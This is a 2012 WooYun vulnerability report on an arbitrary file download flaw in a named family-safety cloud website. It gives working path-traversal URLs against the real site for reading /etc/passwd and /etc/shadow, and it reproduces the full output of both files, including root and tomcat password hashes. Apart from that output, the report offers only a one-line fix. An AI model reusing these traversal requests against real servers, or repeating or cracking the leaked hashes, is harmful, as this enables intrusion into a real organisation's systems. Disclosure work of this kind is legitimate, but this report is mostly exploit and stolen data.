当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013802

漏洞标题:家人安全云平台网站任意文件下载漏洞

相关厂商:广州七七八二信息科技有限公司

漏洞作者: xfreeboy

提交时间:2012-10-26 18:25

修复时间:2012-12-10 18:25

公开时间:2012-12-10 18:25

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:12

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-12-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

家人安全云平台网站存在任意文件下载漏洞,可查看和下载任意文件如passwd,shadow,导致用户名及密码hash泄露。

详细说明:

家人安全云平台网站存在任意文件下载漏洞,可查看和下载任意文件如passwd,shadow,导致用户名及密码hash泄露。
http://www.jiarenmen.com/
http://www.jiarenmen.com/static-content?contentPath=/../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
tomcat:x:500:500::/home/tomcat:/bin/bash
http://www.jiarenmen.com/static-content?contentPath=/../../../../../../etc/shadow
root:$1$MyWqqCDv$GfNoCBKupKjvewKiEAT.e.:15601:0:99999:7:::
bin:*:15414:0:99999:7:::
daemon:*:15414:0:99999:7:::
adm:*:15414:0:99999:7:::
lp:*:15414:0:99999:7:::
sync:*:15414:0:99999:7:::
shutdown:*:15414:0:99999:7:::
halt:*:15414:0:99999:7:::
mail:*:15414:0:99999:7:::
news:*:15414:0:99999:7:::
uucp:*:15414:0:99999:7:::
operator:*:15414:0:99999:7:::
games:*:15414:0:99999:7:::
gopher:*:15414:0:99999:7:::
ftp:*:15414:0:99999:7:::
nobody:*:15414:0:99999:7:::
nscd:!!:15414:0:99999:7:::
vcsa:!!:15414:0:99999:7:::
mysql:!!:15414:0:99999:7:::
pcap:!!:15414:0:99999:7:::
dbus:!!:15414:0:99999:7:::
avahi:!!:15414:0:99999:7:::
rpc:!!:15414:0:99999:7:::
mailnull:!!:15414:0:99999:7:::
smmsp:!!:15414:0:99999:7:::
oprofile:!!:15414:0:99999:7:::
sshd:!!:15414:0:99999:7:::
rpcuser:!!:15414:0:99999:7:::
nfsnobody:!!:15414:0:99999:7:::
xfs:!!:15414:0:99999:7:::
haldaemon:!!:15414:0:99999:7:::
avahi-autoipd:!!:15414:0:99999:7:::
apache:!!:15415::::::
tomcat:$1$kEI0QA9p$4J7IXvd.Y4Ug2thD8LDEY0:15419:0:99999:7:::

漏洞证明:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
tomcat:x:500:500::/home/tomcat:/bin/bash

修复方案:

对链接地址进行过滤。

版权声明:转载请注明来源 xfreeboy@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝